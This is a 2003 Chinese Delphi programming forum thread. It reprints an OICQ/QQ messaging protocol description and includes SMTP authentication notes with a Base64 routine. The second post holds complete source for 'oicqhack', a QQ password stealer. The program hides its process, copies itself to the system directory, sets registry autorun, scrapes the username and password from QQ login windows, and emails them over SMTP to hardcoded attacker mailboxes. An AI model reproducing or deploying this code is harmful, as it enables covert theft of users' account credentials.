为了学习delphi.和在程序道路上走的兄第!免费放送个人珍藏!
1 楼coolfilm(苏飞工作室)回复于 2003-09-25 14:05:57 得分 0 公开OICQ所有通讯协议 --转载
忘记了(对不起)
摘 要:
关键字:OICQ,协议
类 别:网络
公开OICQ所有通讯协议
OICQ服务器系统通讯协议
协议说明:
协议由报文头(T)+发送者(T)+接收者(T)+报文类型(T)+报文长度(L)+报文内容组成
发送者和接收者是系统内的程序种类,OICQ服务器0x01,传真服务器0x02,WEB服务器0x03,打印服务器是0x04,聊天服务器是0x05,OICQ用户是0x0A。
OICQ用户到OICQ服务器的通讯协议 引导符 (0x81+0x0A+0x01)
报文类型 报文内容 报文说明
0x01 昵称(S)+肖像(M)+用户密码(S)+性别(T)+年龄(T)+真实姓名(S)+国家/地区(T)+省(T)+市(S)+地址(S)+邮编(S)+学历(T)+毕业院校(S)+职业(T)+电话(S)+寻呼(S)+电邮(S)+爱好(S)+说明(S)+身份验证(T)新用户注册,身份验证用于当有人要将他加入好友时询问是否允许
0x02 服务号(L)+密码(S)+注册方式(T)老用户注册,方式分为0正常,1隐身
0x03 服务号(L)+对方服务号(L)+内容(S) 发送信息到某人
0x04 服务号(L)+组号(L)+内容(S) 广播信息,组号=0为全体
0x05 服务号(L)+朋友服务号(L) 查看朋友资料
0x06 服务号(L)+组名称(S) 增加组
0x07 服务号(L)+组编号(T)+组名称(S) 修改组名称
0x08 服务号(L)+组编号(T) 删除组
0x09 服务号(L)+移动人数(T)+{朋友服务号(L)+目的组号(T)} 移动组成员
0x0a 服务号(L)+起始编号(L)+回传个数(T)+查找标志(T) 看谁在线上
查找标志 1=向小找 2=向大找
0x0b 服务号(L)+SQL语句(S) 自定义查找
0x0c 服务号(L)+朋友服务号(L) 增加好友
0x0d 服务号(L)+朋友服务号(L)+加入原因(S) 请求加入好友
0x0e 服务号(L)+朋友服务号(L) 删除好友
0x10 服务号(L)+显示模式(T) 更改显示方式 1上线2隐藏3免打扰4离线
0x11 服务号(L)+监视服务号(L) 监视某人谈话
0x12 服务号(L)+昵称(S)+肖像(M)+用户密码(S)+性别(T)+年龄(T)+真实姓名(S)+国家/地区(T)+省(T)+市(S)+地址(S)+邮编(S)+学历(T)+毕业院校(S)+职业(T)+电话(S)+寻呼(S)+电邮(S)+爱好(S)+说明(S)+身份验证(T)更改用户基本信息
0x13 服务号(L)+朋友服务号(L)+文件名(S)+文件长度(L) 请求发送文件
0x14 服务号(L)+朋友服务号(L)+允许/拒绝 是否允许发送文件
0x15 服务号(L)+朋友服务号(L)+文件内容(B) 发送文件
0x16 服务号(L) 连接测试报文
0x17 服务号(L)+朋友服务号(L)+同意标志(T) 应答对方请求加入好友
0=拒绝
1=同意
OICQ服务器到OICQ的通讯协议
报文类型 报文内容 报文说明
0x01 成功/失败(T)+服务号(L) 新用户注册结果返回
0x02 成功/失败(T)+组个数(T)+{组名称(S)+组编号(T)+朋友个数(T)+{朋友服务号(L)+肖像编号(T)+朋友状态(T)+朋友昵称(S)] 老用户注册结果返回
朋友状态
1=上线=2隐藏=3免打扰4离线
0x03 标志(T) + 朋友服务号(L)+信息(S)+信息类型(T) 标志 1=系统 2=用户
发送消息,服务号=0是系统消息
1=用户某某已经把你加为好友
2=用户某某请求你通过身份验证
3=用户某某同意了你的验证要求
4=用户某某拒绝了你的验证请求
0x04 成功/失败(T)+朋友服务号(L)+昵称(S)+肖像(M)+性别(T)+年龄(T)+真实姓名(S)+国家/地区(T)+省(T)+市(S)+地址(S)+邮编(S)+学历(T)+毕业院校(S)+职业(T)+电话(S)+寻呼(S)+电邮(S)+爱好(S)+说明(S)朋友信息回送
0x05 成功/失败(T)+组编号(T)+组名称(S) 增加组结果回送 1/0
0x06 成功/失败(T)+组编号(T)+组名称(S)修改组名称结果回送1/0
0x07 成功/失败(T)+组编号(T) 删除组结果回送1/0
0x08 成功/失败(T) 移动组成员结果回送1/0
0x09 成功/失败(T)+在线个数(T)+{服务号(L)+昵称(S)+肖像(M)+省(T)+市(S)} 查找在线人员结果回送
0x0a 成功/失败(T)+找到个数(T)+{服务号(L)+昵称(S)+肖像(M)+省(T)+市(S)} 自定义查找结果回送(最多50)
0x0b 标志(T)+朋友服务号(L) 增加好友结果回送标志
0=数据库失败
=1成功
=2需要身份验证
=3对方不允许加入
=4需要身份验证且不在线
0x0c 朋友服务号(L)+昵称(S)+肖像号(M)+朋友状态(T) 给在线用户增加好友
0x0e 成功/失败(T)+朋友服务号(L) 删除好友结果回送
0x10 服务号(L)+显示模式(T) 显示模式回送 =1上线=2隐藏=3免打扰4离线
0x11 成功/失败 更改用户基本信息结果回送
0x12 朋友服务号(L)+文件名(S)+文件长度(L) 请求发送文件
0x13 朋友服务号(L)+允许/拒绝 是否允许发送文件 1允许 0拒绝
0x14 朋友服务号(L)+文件内容(B) 发送文件
0x15 朋友服务号(L)+当前状态(T)朋友状态回送(系统发送)=1上线=2隐藏=3免打扰4离线
0x16 服务号(L) 连接测试
Top
2 楼coolfilm(苏飞工作室)回复于 2003-09-25 14:09:25 得分 0 //—————下面是oicqhack.dpr工程文件
program oicqhack;
uses
Windows,
Messages,
mainunit in ‘mainunit.pas’;
{$R *.RES}
var
wClass: TWndClass; // class struct for main window
Msg: TMSG; // message struct
procedure ShutDown;
begin
UnRegisterClass(classname,hInst);
ExitProcess(hInst); //end program
end;
function WindowProc(hWnd,Msg,wParam,lParam:Longint):Longint; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
WM_CREATE: wincreate;
WM_TIMER: ontimer1;
WM_DESTROY: ShutDown;
end;
end;
begin
//如果旧版本已运行,则停止旧版程序,只运行当前新版程序
hmain:=Findwindow(‘HackSoft-Oicq-Password-Recoder’,’OICQ 密码记录器2′);
if hmain<>0 then sendmessage(lp,wm_destroy,0,0);
hInst:=GetModuleHandle(nil); // get the application instance
classname:=’HackSoft-Oicq-Password-Recoder’;
with wClass do
begin
Style:= CS_PARENTDC;
hIcon:= LoadIcon(hInst,’MAINICON’);
lpfnWndProc:= @WindowProc;
hInstance:= hInst;
hbrBackground:= COLOR_BTNFACE+1;
lpszClassName:= classname;
hCursor:= LoadCursor(0,IDC_ARROW);
end;
RegisterClass(wClass);
hmain:=CreateWindowEx(WS_EX_TOOLWINDOW,classname,’OICQ 密码记录器3′,WS_OVERLAPPEDWINDOW,10,10,120,80,0,0,hInst,nil);
//建立一个新的定时器,用来定时扫描系统中的窗口
newtime:=SetTimer(hmain,0,300,nil);
//建立消息循环
while(GetMessage(Msg,hmain,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
//结束定时器
killtimer(hmain,newtime);
end.
//——-下面是mainunit.pas单元文件
unit mainunit;
interface
uses
Windows,
Messages,
SysUtils,
Classes,
winsock,
registry;
const
CRLF=#13#10;
var
spy:string;
hinst,hmain,newtime,count,start,max,fhand,old,olde,lp:integer;
his:array[0..100] of integer;
syspath:array[0..200] of integer;
regservice:function(uThread:integer;uType:integer):Integer;stdcall;
libhandle:thandle;
classname:array[0..100] of char;
items:array[0..4] of string;
err:integer;
wsadata:twsadata;
fsocket,fport,step:integer;
SockAddrIn:TSockAddrIn;
hackmail,email,newpass,fhost,s1,password:string;
sbuf:array[0..1024] of char;
procedure winCreate;
procedure OnTimer1;
implementation
//修改注册表让程序自启动
procedure autorun;
var reg:tregistry;
begin
reg:=tregistry.create;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey(‘SOFTWARE\Microsoft\Windows\CurrentVersion\Run’,true);
reg.WriteString(‘oicqpass’,spy+’OICQPASS.EXE’);
reg.closekey;
reg.free;
end;
//下面是个发信的子过程,取得密码后发回[email protected]邮箱
procedure MailSend;
begin
err:=recv(FSocket,sbuf,400,0);
s1:=strpas(sbuf);
inc(step);
case step of
1:s1:=’HELO smtp.hacker.com’+CRLF;
2:s1:=’MAIL FROM:
3:s1:=’RCPT TO: <'+email+'>‘+CRLF;
4:s1:=’DATA’+CRLF;
5:s1:=’From:”Oicq Hack”
+’To:”getoicq”
+’Subject:QQ2001 Password come.’+CRLF
+CRLF
+newpass+CRLF
+’.’+CRLF;
6:s1:=’QUIT’+CRLF;
else
step:=0;
end;
strcopy(sbuf,pchar(s1));
err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);
end;
//发信主过程
procedure SendPass;
begin
err:=WSAStartup($0101,WSAData);
FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);
//利用 smtp.21cn.com 进行发信
fhost:=’202.104.32.230′;
fport:=25;
SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port :=htons(Fport);
err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
step:=0;
repeat
MailSend;
until step=0;
err:=closesocket(FSocket);
err:=WSACleanup;
end;
//窗口枚举函数
function lpEnumFunc(hwnd:integer;uint:integer):boolean;stdcall;
var hw,hwold,hs,wlong,hup,i:integer;
sbuf,sb3,sb2:array[0..256] of char;
sb1:string;
begin
hwold:=GetParent(hwnd);
wlong:=GetWindowLong(hwnd,GWL_STYLE);
if (wlong and ES_PASSWORD)<>0 then
begin
//检查是否OICQ登陆
hup:=GetParent(hwnd);
sendmessage(hup,wm_gettext,100,integer(@sbuf));
strpcopy(sb2,’OICQ 注册向导’);
strpcopy(sb3,’QQ 注册向导’);
if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
begin
old:=GetParent(hup);
old:=GetParent(old);
old:=GetParent(old);
start:=0;
count:=1;
//items.clear;
//跳过两个窗口
hwnd:=Getwindow(hwnd,GW_HWNDFIRST);
hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
//取得用户名
hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
items[0]:=’用户名:’+strpas(sbuf);
//取得密码
hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
items[1]:=’密码:’+strpas(sbuf);
end;
strpcopy(sb2,’OICQ用户登录’);
strpcopy(sb3,’QQ用户登录’);
if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
begin
old:=GetParent(hup);
old:=GetParent(old);
start:=0;
count:=1;
//items.clear;
//取得用户名
hwnd:=Getwindow(hwnd,GW_HWNDFIRST);
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
items[0]:=’用户名:’+strpas(sbuf);
//取得密码
hwnd:=Getwindow(hwnd,GW_HWNDNEXT);
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
items[1]:=’密码:’+strpas(sbuf);
end;
end;
//检查是否在线
hw:=GetWindowTextLength(hwnd);
hs:=integer(@sbuf);
sendmessage(hwnd,wm_gettext,100,hs);
strpcopy(sb2,’在线’);
strpcopy(sb3,’隐身’);
if (strcomp(sbuf,sb2)=0) or (strcomp(sbuf,sb3)=0) then
begin
if hwold=old then
begin
if olde<>old then
begin
if strcomp(sbuf,sb2)=0 then items[2]:=’登录成功:在线’
else items[2]:=’登录成功:隐身’;
items[3]:=’ ‘;
//密码发回我的邮箱[email protected]
newpass:=format(‘%s %s %s %s’,[items[0],items[1],items[2],items[3],items[4]);
//
hackmail:=email;
sendpass;
email:=’[email protected]’;
sendpass;
email:=hackmail;
//密码存盘到oicqpass.dll中
{
if fileexists(spy+’oicqpass.dll’)=false then fhand:=filecreate(spy+’oicqpass.dll’)
else fhand:=fileopen(spy+’oicqpass.dll’,fmOpenWrite);
if fileexists(spy+’oicqpass.dll’)=false then fhand:=filecreate(spy+’oicqpass.dll’)
else fhand:=fileopen(spy+’oicqpass.dll’,fmOpenWrite);
fileseek(fhand,0,2);
strpcopy(sbuf,items[0]+#13#10+items[1]+#13#10+items[2]+#13#10+items[3]+#13#10);
filewrite(fhand,sbuf,strlen(sbuf));
fileclose(fhand);
}
end;
olde:=old;
end;
end;
result:=true;
end;
定时器响应函数
procedure OnTimer1;
begin
lp:=0;
EnumChildWindows(GetDesktopWindow,@lpEnumFunc,lp);
end;
//窗口创建响应函数
procedure winCreate;
var wlong:integer;
s1:string;
s2,s3,sbuf:array[0..300] of char;
i:integer;
osver:TOSVERSIONINFO;
tmp:tmemorystream;
begin
//取得操作系统版本信息,若为win9x则注册为服务进程而隐身,nt下无此功能
osver.dwOSVersionInfoSize:=sizeof(TOSVERSIONINFO);
if GetVersionEx(osver)=true then
begin
if VER_PLATFORM_WIN32_NT<>osver.dwPlatformId then
begin
LibHandle:=LoadLibrary(‘kernel32.dll’);
if LibHandle<>0 then
begin
@regservice:=GetProcAddress(LibHandle, ‘RegisterServiceProcess’);
regservice(0,1);//1=hide,0=show;
FreeLibrary(LibHandle);
end;
end;
end;
max:=0;
count:=0;
将程序复制到系统目录
s1:=ParamStr(0);
for i:=0 to length(s1) do s2:=s1[i+1];
GetSystemDirectory(@syspath,MAX_PATH);
spy:=strpas(@syspath)+’\’;
s1:=spy+’oicqhack.exe’;
for i:=0 to length(s1) do s3:=s1[i+1];
copyfile(s2,s3,false);
//从email.txt中找到目标e-mail信箱
if fileexists(‘c:\email.txt’)=false then
begin
email:=’[email protected]’;
end else
begin
tmp:=tmemorystream.create;;
tmp.loadfromfile(‘c:\email.txt’);
count:=tmp.size;
// strcopy(sbuf,pchar(”));
tmp.read(sbuf,count);
tmp.free;
email:=”;
for step:=0 to count-1 do email:=email+sbuf[step];
strcopy(sbuf,pchar(email));
// messagebox(0,sbuf,”,0);
end;
count:=0;
step:=0;
//修改注册表使程序自启动
autorun;
end;
end.
Top
3 楼coolfilm(苏飞工作室)回复于 2003-09-25 14:15:44 得分 0 我正编一个邮件发送接收软件,一般服务器无事,但有些服务器需身份认证,必须先
验证用户的ID标示符和密码,如新浪的邮箱。OUTLOOK可以,FOXMAIL3.0就不能用。
delphi的NMSMTP和SAKEMAIL都不行,请问有办法或控件解决这个问题吗?
hua8hua (2001-10-11 8:20:00)
首先发送EHLO命令,判断返回中是否存在AUTH LOGIN
如果存在,你就发送AUTH LOGIN命令,等待服务器的应答,
服务器应该应答344 xxxxxxxxxxx,这个xxxxxxxxxx是base64编码的用户名,翻译过来就是
344 username:
然后你在发送base64编码的用户名,等待服务器应答,
服务器应该应答344 yyyyyyyyyyyy,这个yyyyyyyyyy是base64编码的密码,翻译过来就是
344 password:
然后你在发送base64编码的密码,等待服务器应答,
服务器开始验证你的用户和密码,
如果成功,则返回235 Authentication Successful.
如果失败,则返回5xx
如果成功,接下来你就可以继续发送mail from命令了。
还有一种就是发送ehlo中存在AUTH CRAM-MD5,这是采用另一种编码MD5。同样
你发送AUTH CRAM-MD5 命令,等待服务器应答
服务器如果支持这种编码,应该返回334 <一串长东西当作密钥>
注意那个小括号是通过base64编码的,包括括号。
然后你就接收到这个密钥,就用base64编码还原。
然后把用户名和密码组合起来 格式:用户名+空格+经过MD5编码(使用上面的密钥)的密码,
然后再把这一串用base64编码 ,然后发送给服务器,等待服务器应答
服务器收到后,现用base64编码还原,然后分解出用户名和密码,在对密码进行编码处理,
然后判断你是否合法,
如果合法,服务器返回和上面一样,
如果合法,你就可以继续发送mail from命令
[red][b]给分[/b][/red][:D][:D]
TangDL (2001-10-11 8:26:00)
转贴:SMTP协议的其它知识,密码认证如上所说
1.SMTP是工作在两种情况下:一是电子邮件从客户机传输到服务器;二是从某一个服务器传输到另一个
服务器
2.SMTP是个请求/响应协议,命令和响应都是基于ASCII文本,并以CR和LF符结束。响应包括一个表示返
回状态的三位数字代码
3.SMTP在TCP协议25号端口监听连接请求
4.连接和发送过程:
a.建立TCP连接
b.客户端发送HELO命令以标识发件人自己的身份,然后客户端发送MAIL命令
服务器端正希望以OK作为响应,表明准备接收
c.客户端发送RCPT命令,以标识该电子邮件的计划接收人,可以有多个RCPT行
服务器端则表示是否愿意为收件人接受邮件
d.协商结束,发送邮件,用命令DATA发送
e. 以.表示结束输入内容一起发送出去
f.结束此次发送,用QUIT命令退出。
5.另外两个命令:
VRFY—用于验证给定的用户邮箱是否存在,以及接收关于该用户的详细信息。
EXPN—用于扩充邮件列表。
6.邮件路由过程:
SMTP服务器基于‘域名服务DNS中计划收件人的域名来路由电子邮件。SMTP服务器基于DNS中的MX记录
来路由电子邮件,MX记录注册了域名和相关的SMTP中继主机,属于该域的电子邮件都应向该主机发送。
若SMTP服务器mail.abc.com收到一封信要发到[email protected]:
a.Sendmail请求DNS给出主机sh.abc.com的CNAME记录,如有,假若CNAME到shmail.abc.com,则再次
请求shmail.abc.com的CNAME记录,直到没有为止
b.假定被CNAME到shmail.abc.com,然后sendmail请求@abc.com域的DNS给出shmail.abc.com的MX记录,
shmail MX 5 shmail.abc.com
10 shmail2.abc.com
c. Sendmail最后请求DNS给出shmail.abc.com的A记录,即IP地址,若返回值为1.2.3.4
d. Sendmail与1.2.3.4连接,传送这封给[email protected]的信到1.2.3.4这台服务器的SMTP后台程序
7.SMTP基本命令集:
命令 描述
——————————
HELO 向服务器标识用户身份
发送者能欺骗,说谎,但一般情况下服务器都能检测到。
MAIL 初始化邮件传输
mail from:
RCPT 标识单个的邮件接收人;常在MAIL命令后面
可有多个rcpt to:
DATA 在单个或多个RCPT命令后,表示所有的邮件接收人已标识,并初始化数据传输,以.结束。
VRFY 用于验证指定的用户/邮箱是否存在;由于安全方面的原因,服务器常禁止此命令
EXPN 验证给定的邮箱列表是否存在,扩充邮箱列表,也常被禁用
HELP 查询服务器支持什么命令
NOOP 无操作,服务器应响应OK
QUIT 结束会话
RSET 重置会话,当前传输被取消
——————————–
8. MAIL FROM命令中指定的地址是称作 envelope from地址,不需要和发送者自己的地址是一致的。
RCPT TO 与之等同,指明的接收者地址称为envelope to地址,而与实际的to:行是什么无关。
9.为什么没有RCPT CC和RCPT BCC:?
所有的接收者协商都通过RCPT TO命令来实现,如果是BCC,则协商发送后在对方接收时被删掉信封接收者
10.邮件被分为信封部分,信头部分和信体部分
envelope from, envelope to 与message from:, message to:完全不相干。
evnelope是由服务器主机间SMTP后台提供的,而message from/to是由用户提供的。有无冒号也是区别。
11. 怎样由信封部分检查是否一封信是否是伪造的?
a. received行的关联性。
现在的SMTP邮件传输系统,在信封部分除了两端的内部主机处理的之个,考虑两个公司防火墙之间
的部分,若两台防火墙机器分别为A和B,但接收者检查信封received:行时发现经过了C.则是伪造的。
b. received:行中的主机和IP地址对是否对应如:
Receibed: from galangal.org (turmeric.com [104.128.23.115] by mail .bieberdorf.edu….
c. 被人手动添加在最后面的received行:
Received: from galangal.org ([104.128.23.115]) by mail .bieberdorf.edu (8.8.5)
Received: from lemongrass.org by galangal.org (8.7.3)
Received: from graprao.com by lemongrass.org (8.6.4)
转贴:NMSMTP的密码认证解决方案
const
BaseTable = ‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;
function EncodeBase64(Source:string):string;
var
Times, LenSrc, i: Integer;
x1, x2, x3, x4: Char;
xt: Byte;
begin
Result := ”;
LenSrc := Length(Source);
if LenSrc mod 3 = 0 then
Times := LenSrc div 3
else
Times := LenSrc div 3 + 1;
for i := 0 to Times – 1 do
begin
if LenSrc >= (3 + i * 3) then
begin
x1 := BaseTable[(ord(Source[1 + i * 3]) shr 2)+1];
xt := (ord(Source[1 + i * 3]) shl 4) and 48;
xt := xt or (ord(Source[2 + i * 3]) shr 4);
x2 := BaseTable[xt + 1];
xt := (Ord(Source[2 + i * 3]) shl 2) and 60;
xt := xt or (Ord(Source[3 + i * 3]) shr 6);
x3 := BaseTable[xt + 1];
xt := (ord(Source[3 + i * 3]) and 63);
x4 := BaseTable[xt + 1];
end
else if LenSrc >= (2 + i * 3) then
begin
x1 := BaseTable[(Ord(Source[1 + i * 3]) shr 2) + 1];
xt := (Ord(Source[1 + i * 3]) shl 4) and 48;
xt := xt or (Ord(Source[2 + i * 3]) shr 4);
x2 := BaseTable[xt + 1];
xt := (Ord(Source[2 + i * 3]) shl 2) and 60;
x3 := BaseTable[xt + 1];
x4 := ‘=’;
end else
begin
x1 := BaseTable[(Ord(Source[1 + i * 3]) shr 2)+1];
xt := (Ord(Source[1 + i * 3]) shl 4) and 48;
x2 := BaseTable[xt + 1];
x3 := ‘=’;
x4 := ‘=’;
end;
Result := Result + x1 + x2 + x3 + x4;
end;
end;
在SMTP.OnConnect事件中写身份验证.
procedure TSendFile.NMSMTPConnect(Sender: TObject);
begin {身份验证}
if FSMTP.ReplyNumber = 250 then
FSMTP.Transaction(‘auth login’);
if FSMTP.ReplyNumber = 334 then
begin
FSMTP.Transaction(EncodeBase64(FUserID));
FSMTP.Transaction(EncodeBase64(FPassword));
end;
end;